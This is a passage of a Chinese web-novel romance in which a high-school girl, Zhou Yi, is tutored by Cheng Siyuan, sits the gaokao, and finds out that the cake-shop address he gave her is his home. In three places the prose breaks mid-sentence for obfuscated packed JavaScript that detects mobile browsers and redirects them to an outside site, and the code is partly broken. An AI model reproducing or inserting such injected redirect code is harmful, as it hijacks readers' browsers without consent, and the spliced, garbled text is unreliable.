她还没说完,程司远就笑了出来,随机又轻咳一声,强忍道:“可以,当然可以,我又没说什么。” 周依看着眼前这张憋笑的脸,顿时,想杀人的心都有了,一张脸更是从里红到了外,白了他一眼,嘴里嘟囔道:“你还不如说点什么呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151946|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好了好了,不笑了,我错了。” 程司远靠在门框,声音很淡,还带着几分笑意,继续道:“那现在收拾好,我是可以进去了?” 这下好了,周依连着脖子根都都红了起来,眼睛更是不知道该看向何处。她背过身先一步走向书桌,没好气道:“你走吧。” 程司远嘴角忍笑,不要脸道:“家里没人,你收留一下我吧。” 周依真是差点儿平地摔倒,这人之前也这样?她怎么不知道。 她一屁股坐到椅子上,说:“门没关。” 程司远垂眸笑了下,但他并没有抬腿进去,而是转身回了自己房间。 周依见身后没动静,侧过脸看了一眼,可这一看她又是差点惊得下巴掉下来。 不是,这不是话赶话说到这,然后随便讲两道意思一下的事儿嘛,拿椅子干吗? “你看我干嘛?”程司远把他的椅子搬到书桌一侧问。 周依瞬即收了目光,下意识道:“没有。” “行吧,没有。” 程司远幽幽说了一句,坐下伸手在笔筒里抽了支黑笔问:“哪道题我看看?” 周依微微垂眸,有些心不在焉,随手拿了本化学册子翻了几页,看到一道空白的试验题,就指道:“这个。” 程司远扫了一眼题,挑眉反问道:“你确定是这个?” 周依一愣,低头仔细看了遍题,电解水制氢气。 “……” 这题如果不会,那她高考也不用参加了。 周依尴尬地呆了几秒,明明是当时觉得简单故意跳过去的题,没想到在这儿把她绊了个狗吃屎。 “抱歉,翻错了。”她说。 程司远喉咙颤了一下,像是在忍笑道:“没关系。” 周依又重新翻了几页,仔仔细细找了一圈,还认真在脑子里盘算了一遍,确定是自己不会并且自认为有难度的题,才道:“这个,最后一问。” 程司远从她手里拿过练习册,看了一会儿,随后将练习册铺开到她面前,自己挪着身体往前凑了凑,问:“有草稿本吗?” “有,等等。” 周依说着,转身就从身后的书包里掏出一个本子。她刚在前面翻了几页,突然顿住,随后又合上,从最后翻开一页递给程司远,淡淡道:“随便写。” 程司远垂眸看着空白的纸面眼神似乎暗了几分,他手指摸着纸缘沉默片刻,半晌,抬手在上面画了几个不同的化学器皿—— 锥形瓶、集气瓶、启普发生器…… 他将本子横转过去,同样摆在周依面前,说:“启普发生器没办法加热,所以不能制取需要加热或者在反应发生时会产生大量热的气体,像乙炔这样的就不行。” 说着又抬手在空白处写了制造乙炔的化学方程式。 可能是草稿本放的离程司远有点远,他横着写了一半,觉得自己的姿势实在有些难受,便搬着椅子又往前移了一下。 他的手指骨节分明,白皙纤长,皮下的血管若隐若现,或许是拿笔写得用力,指尖的粉红也微微泛着白。 周依看得很认真,但大脑却空白一片。她感受着程司远的呼吸,感觉自己周身的气息都被他的味道所浸染,淡淡的薄荷香气溜入鼻腔,明明是清爽的味道,可她却觉得有点微醺, “所以最后一问知道怎么写了吗?” 耳边响起干净清冽的声音,周依愣了一下,却是没听清,问:“什么?” 35.馋猫 暖光灯映照下的人总是显得格外温柔,朦朦胧胧的,像是裹了一层薄薄的绒毛,再尖锐的刺在这一刻,也温顺的软了腰。 程司远看着周依,轻笑道:“看来确实是我讲的有问题,都走神了。” 周依从他脸上收回目光,觉得自己耳根有些发烫,往旁边侧了侧,说:“没有,我的问题,刚刚不小心。” 程司远垂眸没有说话,拿着手里的黑笔按了两下。过了半晌,才道:“我再帮你顺一遍,这题不难,你会写。” 周依低头“嗯”了声,抿着唇往桌前趴了趴。 “你看这个烧杯里面装了稀硫酸溶液,而它下面……” 程司远拿着笔边讲边写,有些特别之处还专门做了延伸,刚刚还空白的草稿纸上,这会儿已然是写满一片了。 在他写完最后一个化学方程式时,抬眼问道:“现在会了吗?” 周依瞥向程司远,蓦地又收回目光,垂眸看着书本上的题目。她觉得这人可能真会魔法,就是那种不管再难,他都能用最简明的方法解释清楚的魔法。 无论是之前还是现在,他总能把她教会。 “会了。”周依说。 “那就试着写写吧。” 程司远将手中的笔递给她道:“给你。” 周依的手在空中顿了下,她笔筒里有不少笔,其实不用两个人共用一支。但不知为何,下一秒,还是伸手接了过来。 她手指微动,三两下便写完了,将练习册推到程司远面前,有些不确定道:“写完了,你看看。” 程司远拿起看了一遍,点头道:“全对。” 说完,他又把练习册重新铺在周依面前,补充道:“看来我这遍教的不错。” 他的声音很轻,还夹杂着隐隐约约轻快的意味,就像有根羽毛轻划过周依的耳廓,酥麻一片。 她缩了缩脖子,忽然间觉得自己整个人都从内而外的泛着热。 周依不敢再直视他,喉咙里轻嗯一声,拿起笔就不再说话,看似镇定的脸上,眼神却在练习册上慌乱地扫荡着。 她低头看了好久,久到握笔的手都渗出了汗,才真正将题目看了进去。 程司远随手拿了一边的课本,靠着椅背静坐着,目光时不时从纸面移向周依,见她马尾辫俏皮地搭在肩膀上,碎发散落在耳后和颈间,清风吹拂,轻柔地拂过她细腻的肌肤。 他心中微动,时间仿佛凝固,周围的事物也消失不见,只剩下她那不经意间流露出的柔美和恬静。 笔过之处发出沙沙声响,惊扰着两个人的心。 不知过了多久。 “你什么时候回去?” 周依的声音,打破了此刻的宁静。程司远收了神,将手上没怎么翻动的课本合上放在一边,抬眼看了时间,低声道:“马上就走。” 或许是太久没说话的缘故,他的声音听起来有些沙哑,但却是格外好听。 周依微微颔首,抿了抿唇,但准备好要说的话,刚张口就变了方向:“那你——你上次在哪买的提拉米苏?” 程司远一愣:“什么?” ……神经病吧!! 周依在心里骂了自己一句。 她闭了闭眼,觉得人生还长,打算将错就错,说:“就上次那个提拉米苏,我吃了,很好吃,你在哪买的?” 但这评价却是真的,那天晚上她喝完药就忍不住去翻冰箱,原本还想着大晚上的不能多吃,最多就尝两口。 可没想到这刚入口,再眨眼一整盒都她尝完了,到最后甚至还意犹未尽。 真不能怪她,蛋糕怎么能隔夜呢! 只不过程司远听周依这么问,并没有想象中的高兴,而是坐在椅子上呆楞了几秒,随后又含糊其辞道:“有点远,下次你想吃告诉我,我买了带回来就行。” 人呢,总是藏不住心里的好奇,越是扑朔迷离就越是想看清。就像周依,她是想知道它在哪卖,但也只停留在想的层面,但程司远这话一出,她不了。 某个倔种今天就是非要知道这店铺在哪,能有多远?还能跨省不成? 于是—— “没事,远我也去。”周依问:“在哪?” 话音落耳,程司远似乎挑了一下眉,但很快他又换了一副惋惜的模样,惋惜道:“可它没有门店,是私人的手作坊,你还去吗?” 周依不免惊讶,一脸不可思议地看向他。 倒不是因为没有门店,而是惊讶于程司远居然会买。洁癖治好了? 她觉得难。 以她的聪明才智,故而推测出一个结论,那就是—— 这个手作坊一定是明厨亮灶,干净的不得了。 顿时,周依更好奇了,说:“这没事儿,可能人家马上就要开店了,没准儿现在正试产品呢。” 程司远扭头抿唇,双肩微动似乎在偷笑,倏尔又拿起桌子上的笔,在草稿本上“唰唰唰”几下,行云流水般写下一行地址。 “就这儿。”他说。 周依侧头看着本子上的地址,低声道:“十梓路啊,还行,也不是很远。” 但说完,她又皱了皱眉,总觉得这地址好像有点耳熟。 “地址给你了,那我就先走了。”程司远说。 周依将草稿本合上看他起身,站立在自己从身侧,垂眸犹豫片刻,还是偏过脸细声说了句:“那你记得路上小心。” 她声音很小,但程司远还是一字不落的全听见了。 他准备拿椅子的手顿了一下,随即抬起在周依头上轻揉两下,声音里带着笑意道:“嗯,知道了。” 周依脑袋里那根绷紧的弦在这一刻倏然断裂,那阵酥酥麻麻的感觉从头顶传向四肢,最后重重地落回心脏。 她愣坐在原地,直到程司远离开大门发出声响,才回过神来。 周依伸手覆上被程司远摸过的地方,垂眸看着桌子一侧的空处,叹息一声。如果说小的时候她不知道这是什么感觉,那现在她却是明确的知道了。 时间并不能冲刷一切,曾经刹那间的悸动,就像四野不起眼的蔓草,它在寒冬中蜷缩枯萎,只是暖风一吹,便又郁郁葱葱。 程司远坐在车上并没有着急回去,刚刚发丝顺滑的触感还在指尖游离,他蜷指轻捻着,眸中流转着无尽的温柔和延绵的爱意。 哪怕她全身都裹满了刺,他还是忍不住的想去触碰。短暂也好,受伤也罢,他只想离她近一点,再近一点。 他不聪明,他其实很笨,笨到不知道该怎么对她好、拿什么身份待在她身边。他小心翼翼学着她的方法,笨拙地做着他不擅长的事,把真心成百成千的送出去。 只要她开心,就够了。 日子过得很快,高考的倒计时终于数到了零。那天的太阳很大,教室里燥热难耐,老式风扇不知疲倦地转着,试图给学生们缓解一下夏日炎热。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13164769|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 笔在纸上发出的沙沙声,时间一分一秒的消逝。周依紧张而又专注地翻阅着试卷,笔尖在纸面上舞动,奋力书写着答案。 在这个瞬间,她甚至忘却了周围的喧嚣,洋洋洒洒,留下青春与梦。 钟声悄然响起,宣告着考试的结束。这一刻,周依连同她周身的人都松了口气,弥漫在教室中的紧张氛围逐渐散去,周围变得嘈杂起来,熙熙攘攘地向考场外走去。 夕阳西下的阳光照得有些刺眼,她伸手去挡,透过指缝,想要在远处寻找那抹熟悉的身影。 可她只是微微抬眸,就发现那人正站在对面。 阳光透过缝隙,在地上撒下斑驳光点,那人从树荫下走出,迎着光看着对面,嘴角含笑道:“辛苦了。” 或许是被刺到了,周依闭了闭眼,心中最柔软的地方淌过一阵阵暖流,瞬间盈满了柔软的情愫,像是春风排柳的轻柔,在那本不大平静的心底轻轻扫过,又是荡起一地波澜。 真是,要命了。 周依苦笑一声,走到程司远身边左右看了一眼,疑问道:“我妈还有程叔叔呢?走了?” “嗯,他们先回公司了,说是有事。” 程司远伸手拿过周依手里的文件袋,继续道:“我们走吧。” 周依愣了下,随即又笑着点头道:“嗯好。” 她跟着程司远上了车,但去往的方向却是和家南辕北辙。 “这是要去哪?”周依问。 程司远侧过头看着她,说:“犒劳犒劳你,去吃好吃的。” 听到吃,周依眼睛瞬间就开了花,心奋道:“去吃什么,好吃吗?” 程司远见她一副馋样,低笑道:“你这可不行,容易被骗走。” “哈?为什么?” 周依一脸问号,她敢说刚高考完的自己现在绝对处于智商顶峰,骗她?绝对不可能。 “有好吃的就跟着跑。”程司远说:“你说为什么。” 之后,还不忘补充一句:“骗你简直轻而易举。” 靠!他果然会读心术吧。 只不过还没等周依开口反驳,就听这人—— “馋猫。” 又说了一……一个新词。 “???” 周依满头问号,心道您再说一遍? 于是,我们馋猫大人不干了,双手环胸,把头一转,面向窗外耳根微微泛红道:“不去了,我要回家。” 程司远喉咙松动,像是低笑出声道:“错了错了,我不说了。” 他扶着方向盘转了个方向,又说:“带你去吃川菜。” 本来周依都想好了,拒绝话也已经说了,那她为了的面子也得硬气一把,不管程司远说什么她都不会去。 可谁知,刚听到川菜二字,她这坚持的面子,就瞬间不值钱了,话在嘴里转了个圈就成了:“真的?川菜,正宗的?” 食色,性也。周依觉得孟子说得对,这人之常情,她偶尔馋一下,也行。 “我觉得挺正宗的,老板是四川人,他家的——” 程司远还没说完,突然手机响了起。 周依眨了眨,挥手催促道:“没事没事,你先接电话。” 程司远看着来电,沉默几秒按了接通。 只不过他还没来得及说话,对面就传来童遥急促的声音:“司远快来医院,刚入院了一位患者,情况跟你妈当时……差不多。” 36.误触 程司远的身体突然僵住,猛地一脚刹了车,旁边周依也因为加速度,跟着向前倾斜,肩膀蓦地被安全带勒得发疼,不由皱了皱眉。 “知道了。” 程司远顿了几秒,又说:“我马上就回去。” 他将车在路边挺稳,还没等张口,周依就先说了话:“没关系,你快去吧,医院的事更重要。” 程司远手指轻颤,把方向盘握得紧了又紧,半晌,才忍着嗓子里的慌乱道:“抱歉,下次、我下次再带你去。” 周依忽然愣住,在她的印象里程司远不管面对什么事,总是表现的很淡然,游刃有余的。这样的他,还是她第一次见。 不免一颗心也跟着揪了起来,说:“没关系,你不用在意我。你快去,我在这打个车就行。” 说着,就要解开安全带。 程司远倏地伸手按住她,说:“不用,我送你回家。” 他指甲微凉,周依身形发僵,但很快又放松下来,靠在椅背上,垂眸抿着唇没有说话。 路上的车来来往往,时而落在身后,时而超于身前。太阳慢慢落下,透过玻璃,洒向车内,周依看着落在方向盘上的光束,一时间愣了神。 她在想,这夕阳的余辉会不会太热,刚刚冰凉的手有没有暖和一点。 她想说,没关系,她在。 周依看得有点久,眨了眨眼才感觉到一片酸涩。她微微颔首,手指在安全带上细细摩挲。 “刚刚,对不起。” 程司远突然开口,吓了她一跳。 周依扭头看向他,讪笑道:“你已经说过了。” “不是,我刚刚刹车有点急。” 程司远看了眼周依的肩膀,轻声道:“会疼吗?” 周依下意识侧了侧身体,偏过脸耳根有些发红,说:“不会,我不疼,你别在意。” 程司远轻皱起眉像是要说什么,但嘴唇动了动,还是放弃了。他把周依送回家,就直奔向医院。 办公室内,童遥正拿着病人的检测报告皱眉凝视着,突然就听到一阵急促的声音:“童遥,患者怎么样了,人在哪?” 她猛地抬头看向程司远,把手中的报告单递给他道:“先别急,你看看这个。” “患者叫吴妍,50岁,目前咳痰带血伴有喘鸣和发热的症状。肿瘤侵犯胸膜导致胸痛或者背部疼痛的情况比较轻的。”童遥说:“初步推断,癌细胞未发生转移。” “二期了。”程司远说。 童遥抿了抿唇,点头道:“重点是这个。” 她说着又拿出另一份检查报告:“今天刚做的,检测出糖类抗原724、CA199在指标临界值。这……不应该。” 程司远拿着报告单紧皱着眉头沉默了好久,才说:“主任怎么说,有怀疑过还有结肠癌的可能性吗?” “有说过,但还有部分认为是肺癌细胞发生转移,具体大家还在商议。”童遥说:“目前首选的治疗方案是手术,同时辅以放疗和化疗。” “嗯,如果对化疗不敏感就再考虑一下靶向治疗。” 程司远将病人的报告单与病历整合在一起,抬腿向前道:“我去看看患者。” 童遥看着他匆忙离开的背影,轻轻叹了声气,嘟囔道:“还是放不下嘛……” 程司远拿着病历夹,快步走向患者病房,在门口前停留一瞬,深呼口气,这才抬手敲响了门。 “谁啊?” 里面有男人喊了一声,随后又对旁边说:“妈你躺好,我去开门。” 一阵脚步声响起,那男人开了门,看着程司远问:“你是……” “你好,我是肿瘤科医生,姓程。”程司远说。 “乐仪,是谁啊?”病房内响起一个女人声音。 那名唤乐仪的年轻男人一边伸手将程司远往外推,一边对里面说:“奥,妈,没事,医生让我签个字,我出去一趟哈。” 说完,“啪”的关了门。 程司远一时没反应过来,遗憾道:“您这是……” “不好意思啊程医生,您谅解一下。” 赵乐仪将他拉向一边,低声道:“我妈这个病呢,我们暂时都还先瞒着。她没上过几年学,也没读过几本书,再加上年纪也大了,听到什么癌啊瘤的,受不了,所以……” 他没有说全,但程司远却依然明白了,抱歉道:“理解,刚刚是我考虑不周,您别见怪。” “哎哪里哪里,程医生这说哪的话。我妈这病啊,还都要指望你们呢。”赵乐仪看了程司远手里的东西,又期待道:“这是有什么结果了吗?” “这个真是抱歉,暂时还没有。”程司远道:“我这次来主要是来看一下患者情况,也好为下面的工作提前做打算。” 赵乐仪连连点头道:“明白明白,那您跟我进来吧。” 房内床上躺着一个微胖的女人,虽是耳鬓发白,但看着还算精神,一见自己儿子领着医生进来了,便着急着起身道:“哎呦,医生来啦。” 赵乐仪见她要起来,几个跨步上前伸手扶住,紧张道:“哎呀妈,你就快躺好吧,医生就过来看看,你别慌。” 吴妍瞪了他一眼,像是被拆了台后的无声反击,讪笑两声对程司远说:“这医生看着真年轻,不知道怎么称呼啊。” 程司远上前一步,万年如一的表情温和了几分,含笑道:“阿姨我姓程,程司远。您躺好就行,不起来。” “哎好,程医生。”吴妍笑了笑,故作镇定问道:“我这病……严重吗?” “不严重,您放心。”程司远道:“我就是过来简单问一下,您咳嗽的次数多不多啊,咳嗽的时候是哪里疼……” 他问的很详细,把回答也认真的一一记录下来。他知道癌症会给患者带来什么、有多痛苦,他见过病人逝世时眼里地绝望。 如果可以,他希望这次,他可以带来一丝希望。 接下来的一段子里,程司远都在医院忙得焦头烂额,先是安排患者做胸透等各项检查,然后又联系呼吸科、胸外科、肿瘤科的医生一起开会,到晚上了还会一个人把资料整理出来再分析。 而童遥则是“自愿”跟程司远一起加班,绝对不是因为什么“把柄”,也绝对不是因为她怕她老爹。 “纯粹”的自愿。 与此同时,刚高考完的周依却是得了闲。 说来也是奇怪,高考前她明明都已经想好去哪玩,玩什么。可谁知道,这一考完反而哪哪都不想去了。 人,可真神奇。 晌午的太阳透过窗帘撒在周依脸上,不由得皱了皱眉,抱着被子翻了个身,闭着眼伸手就去摸床头的手机。过了好半晌,才迷迷糊糊地睁开。 “啊?又十二点了。”周依感叹。 她叹息一声,将脸避开阳光,抽手拿过被自己压在身下的大象玩偶重新抱在怀里,嘴里嘟囔道:“好无聊啊。” 可不无聊嘛,现在她是放假了,但张舒欣和程毅最却是忙的厉害,每天都是早出晚归,隔三差五还要出个差。 至于程司远…… 他好像从那天考完后就没有来过了。 在忙? 想到这,周依又是烦得的叫了声:“哎呀!想他干嘛啊!” 说着,还不忘狠狠锤了几下自己怀里的大象。 “算了,打个电话吧。”周依从一旁拿起了手机,行云流水般拨通了电话。 “哟,大小姐醒了?想起来给我打电话了?”手机传来另一端李佩佩调侃的声音。 周依躺在床上咧了咧嘴,一脸无语道:“我醒早了来也没事干,不如多睡会儿,能睡是福好嘛。” 李佩佩哈哈大笑出声道:“对对对,你说的对。” 随后,又调侃道:“怎么,程司远还没找你?” 周依像是被按了什么开关,立马就坐了起来,慌乱道:“什、什么呀,突然提这个干嘛。再说,你怎么知道……” 说到后面,声音都小了起来。 李佩佩听了,啧声道:“这还不简单,要是他来找你,你准一早就起来了,然后开给我说程司远这,程司远那的,反正三句里两句都是他。这都好几天没见你提到他的,所以不是没找你还能是什么?” 周依被戳破心事,面上也微地有些发烫,但嘴上却是—— “我哪有?我没有!我怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178247|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么可能三句里两句都是他,绝对不可能。” 嘴强王者,再次上线。 看她不承认,李佩佩也来了性子,不服道:“嘿,你以为我没证据?要不要我帮你翻翻我们的聊天记录,给你念念?” 完了,忘了这人不删聊天记录。 周依心里懊悔一声,这还哪敢让她念,脸不要了?面子不要了? 于是,嘴强王者上线了一秒,就又匆匆下线。 她连忙认错道:“啊别别别,我错了,你别念、别念。” “那还差不多。” 李佩佩哼了一声,又道:“他不来找你,你可以去找他啊。” 周依咬了咬唇,难为情道:“我……我不知道他家在哪。” 李佩佩惊讶道:“哈?怎么久了你连他住哪都不在?” “等等。”她说完突然又想起什么,补充道:“你不会连他电话都不知道吧?” 周依“呃”了一下,憨声道:“还就真……不知道。” 这下,李佩佩简直五体投地,虽然周依看不见,但她还是比起大拇指,嘴角抽搐道:“牛!你牛!还得是你啊周依,好一个一问三不知。” 周依也很委屈,她是没问过程司远,但他也没跟她说过啊,怎么就是她一个人的锅了? 至少……程某人得占一半吧! 她瘪了瘪嘴,说:“那怎么办……” 李佩佩扶额,汗颜道:“那什么,你不是有段梓坤微信嘛,你问问他,他总不能也不知道吧。” 周依眼睛一亮,立即道:“哎呀,还真是。” 说完,小嘴还不忘抹蜜道:“要不说是我佩姐呢,就是聪明,一想就能想到,嘿嘿。” 李佩佩在手机另一端,白了周依一眼道:“少拍马屁,多干正事。” 可能是得了机会,刚刚还郁闷的周依,现在心情却是十分不错,也笑着调侃道:“好好好我不拍马屁,那你跟我说说梓坤哥怎么在你考场外等的你啊,你们什么情况呀?” 被她这么一问,李佩佩的脸“唰”一下红了起来,语言也跟着慌乱起来,结巴道:“这、这有什么好说的,就站着等、坐着等。好了,那、那什么,我还有事先挂了,你赶紧要电话去!” 说完,不等周依再问,“嘟”的一声就挂了电话。 “啧,你看看,怎么说挂就挂。”周依看着手机,瘪着嘴喃喃道。 她又躺回床上,拿着手机胡乱划了几下,在数个app里先没头苍蝇的乱逛了几圈,最后还是返回微信,翻出“间谍”的对话框,输入: 梓坤哥,我好几天没见程司远了,不知道他现在怎么样,能给我一下他的电话吗? 刚打完还没发送,周依垂眸默读了一遍,蓦地皱着眉头觉得不太对,又全部叉掉,再次输入: 梓坤哥,我有事问程司远,能给一下他的电话吗? 这次又准备发送,但周依啧了一声,再次全部叉掉,继续重新输入: 梓坤哥,你能给我一下程司远的手机号嘛。 她打完这一句话,手指悬停在发送键上方,第无数次默默读一年后,还是觉得不对。 周依一气之下把手机扔在一边,烦躁道:“哎呀,到底该怎么说啊,怎么这么难啊!” 说完,又暴躁地锤了几下手边的大象玩偶,然后又俯身趴在它身上使劲蹂躏。 突然“嗡嗡”手机震了一下。 “嗯?” 周依疑惑抬头,停下手头的动作,拿起手机看了一眼。 随即,她整个人都石化在原地。 间谍:奥好,他的手机号是135******** 间谍:话说你怎么连他电话都没? 顿时,周依吓得把手机都扔了出去,整个人缩在床角,满脸通红,惊魂未定道:“怎、怎么就……发出去了?” 她突然目光一厉,扫向刚刚被自己蹂躏的大象,一把将它拿起,眯起眼道:“嗯?是不是你?是你发的吧!” 她瞥了眼自己的手机,继续道:“好,一人做事——奥不对、一象做事一象当!既然这样,那你去给程司远打电话吧。” 大象“……” 37.误入 片刻,周依叹了口气,重新抱起大象躺回床上,看着天花板,嘟囔道:“打电话说什么呢,得想个理由才行,总不能说——” “呸,谁想他啊。”她摇晃着手里的大象,抱怨道:“别装死,你快想一个,随便一个什么理由。” “……”大象。 周依“啧”了一声,平躺在床上,脑子里天马行空。 蓦地,她眼睛一亮,下一秒连滚带爬就从床上下来,几个跨步就到了自己的书桌前,里里外外翻找了半天。 “嘿,你在这呢。” 周依一喜,从书本的夹缝中抽出自己的草稿本,快速翻了几页,看着一行地址,不由挑眉道:“还真是瞎猫碰到死耗子了。” 她沾沾自喜,没想到那时情况危机的临时发挥在这起了作用。 话说,那提拉米苏的味道确实美味,有好一段时间周依都流连忘返,先前她一直忙着高考的事,也没时间去,现在可不就来了机会。 不知道那还有没有其他种类的盒子蛋糕,要是有那一定得尝尝,到时候不仅有理由叫程司远来,还可以把李佩佩和段梓坤也叫来,既不尴尬,还能吃到好吃的蛋糕。一举两得,简直是天才想法! 周依在心里疯狂马屁得想着。 她用手机拍了地址,起床随便对活两口,收拾收拾就出门了。 但很不巧,这兴冲冲的某人是个路痴。 周依低头看着眼手机上的“二幢三单元502号”,又抬头看向这一栋栋的高楼。 不是,这该怎么走啊?这怎么连个指示牌都没有?!难不成走过了? 周依疑问的泡泡堆了满脑,迈着脚又是一通瞎走,眼睛漫无目地扫视着,最后溜达了一圈,竟是连自己也不知道走到哪了。 顿时,傻了眼。 周依左看看右瞧瞧,正欲哭无泪时,迎面就看见了巡逻的小区保安。她喜出望外,连忙走上前去询问道:“叔叔你好,麻烦问一下‘二幢三单元502号’怎么走啊?” 保安闻声抬头看了她一眼,随后伸手指向她身后的方向,说:“你不刚从那过来嘛。” “……” 周依礼貌性的沉默几秒,才道:“可这也没指示牌啊。” “有啊。” 保安指了指绿化带被数遮住的指示牌,看起来有些无语道:“那不是。” 周依“……” 她能发现就怪了。 保安似乎看出了周依心里的想法,讪笑两声道:“最近树长得快,忘记修剪了。你跟我来吧,我带你去。” 不管怎样地方算是找到了,周依也不敢耽误,快步跟上道:“谢谢叔叔。” 可能保安见她面生,也不像是送外卖或者送快递的,就多嘴问了句:“小姑娘,你来这找人?” “不算是。”周依说:“我是来买蛋糕的。” “来买蛋糕?” 保安很是诧异,疑惑道:“我怎么没听说这还有个卖蛋糕的,你可别是被骗了呀。” 周依愣了下,蓦地又翻出手机相册确认了一遍。地址没错啊,难道是因为刚开业,还没名气,所以不知道? 想到这,她对保安笑道:“不会的,放心吧叔叔。” 保安虽然不解,但还是指向单元门道:“就是这了,你坐左边电梯直接上五楼就行。” 说完又指向一旁的楼梯间,继续道:“或者楼梯,走楼梯也行。” 周依顺着保安手指的方向探头看了看,转身对他道:“嗯好,我知道了,谢谢叔叔。” 这几天,程司远没日没夜的加班,愣是把童遥逼得在办公室里哭爹喊妈。这不,为了肿瘤科的声誉,程司远毅然决然地选择……在家加班。 客厅内,程司远正在拿着一堆资料分析病人接下来的手术方案。 童遥拿着吴妍的肺部CT报告单,说:“查过了,目前肺实质肿块、胸膜凹陷、淋巴结肿大、胸腔积液、支气管阻塞。 “不能再拖了。”程司远轻嗯一声道:“我想办法尽量把手术风险降到最低。” “叮咚、叮咚” 门铃响了两声。 “你还叫谁了,周末除了我还有人愿意加班?”童遥疑惑地看着程司远。 可程司远连眼皮都没抬一下,依旧看着手上的资料,淡淡来了句:“没有。” “哈?没有。”童遥有点摸不着头脑道:“我也没有啊” 她顿了顿,又问:“你叫外卖了?” 周依站在门外够着头等半天,见还没有人来开门,便又按了两下门铃。 “叮咚、叮咚” 程司远的思绪再三被打断显得有些烦躁,皱眉道:“没有,你开门看看。” 童遥瘪了瘪嘴,心里暗骂,真是抓住把柄就人当奴隶使唤。 她快步走玄关,对门外喊道:“来了,来了,谁——” 童遥还没说完,抬头就看清了站在门外的人,惊奇道:“嗯?依依,你怎么来了?” 周依见门打开刚想开口,但看清面前的人也是吓了一跳,惊呼道:“啊?童姐姐,怎么是你?” “谁啊?” 程司远的声音从童遥身后传出,手里还拿着一沓资料,慢慢迈步走了过来。 周依呼吸一滞,站在门口甚至怀疑自己听错了。 但等看清来人,她瞬间就傻了眼,好似晴天露雾当头一击,又好像被人从头到脚浇了一盆凉水,全身麻木。 童遥没来得及说话,程司远也看到了站在门口的人。 他先是一喜,随即心里又是一沉,全身紧张得像一块石头,慌乱道:“依依你、你怎么来了?我——” “你骗我!” 周依脱口而出,打断了程司远还没说完的话,蓦地眼眶也红了起来,转身就要跑走。 “不是,你听我说。”程司远急了。 但周依没有理会,快速地按了几下电梯,见没反应,转头就向一旁的楼梯间跑去。 程司远急得像热锅上的蚂蚁,也不顾得换鞋,一个冲步也跟着出门,边跑边道: “依依你听我解释。” “依依别跑,这很危险。” “周依!” 周依对他的叫喊充耳不闻。 不知为何,她的心突然就像被无数把小刀划过,疼的她呼吸都难。 这一刻,周依脑海里突然想起当初程司远回来,上车时他跟司机说的话—— “师傅,先去十梓路,再去平江路。” “我一会儿先回趟家,就不跟你一起了。” 难怪,难怪她当初看到这一行地址会觉得那么熟悉。 原来是这样嘛。 耍我,很好玩,是吧。 细细密密的痛感就像海面上卷起的巨浪,涌上周依心头,全身的血肉都仿佛被剖裂开来。 她跑得很快,但终究跑不过程司远。 他一把抓住了周依的手腕,将她拽着面对自己,焦急道:“别跑了,你听我说。” “你闭嘴!”周依厉声道。 这一瞬,前所未有的酸楚与愤怒缠绕了她的心头,她觉得胸口堵得慌,眼前的水气?氳上来,胸间室闷得几乎连嗓音都变得嘶哑。她恨恨的瞪着他,咬得嘴唇都出了血。 程司远心中一颤,愣在原地。 他想开口说些什么,但周依的声音再次在耳边响起:“我不想见你,让我走。” 声音冰冷没有一丝温度。 程司远的指尖轻轻颤抖起来,双唇紧抿着,觉得喉咙里像是堵了什么东西,难受而又刺痛。 他停顿了好久,才开口,声音带着一丝轻微的颤抖:“好,我知道了。” 说完,手上便泄了力。 周依顺势抽回自己的手臂,转身奔跑着离开。 她捏紧双拳,指甲陷进肉里,但她却感觉不到疼。只是那种被人蒙骗又 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李佩佩这刚接了电话就听见她一阵哭声,心里不免一跳,连声问道:“怎么了,怎么哭了,发生什么了?别哭、别哭,先别哭。” 可周依那能忍住,喉咙里依旧抽噎个不止,说:“程、程司远他……他骗我,呜呜呜呜——” 李佩佩更是一头雾水,急道:“他骗你什么了,你现在在哪?我去找你。” 听到她要来,周依连忙摇摇头,脸上的泪水也因为摆动而飞散开来,哽咽道:“别、别来找我,我、我现在在坐车了,我去、我去找你。” “那你一个人行不行啊,要不还是我去接你吧。” 周依使劲吸了吸鼻子,压抑着喉间的哽咽道:“我、我可以,你放、心。” 李佩佩眉头皱了又皱,自认拗不过周依,只能叹息一声道:“那行,那我在门口迎你,你快过来吧。” 周依点头应声,打车就到了李佩佩家。 一进房间,周依就扑到床上就是猛哭,问她什么也都不说,就只是一个劲儿地“骗子”、“混蛋”的骂个不停。 最后,李佩佩没办法了,只能等她无赖够了再问。 不知过了多久,李佩佩觉得可能有一个世纪。 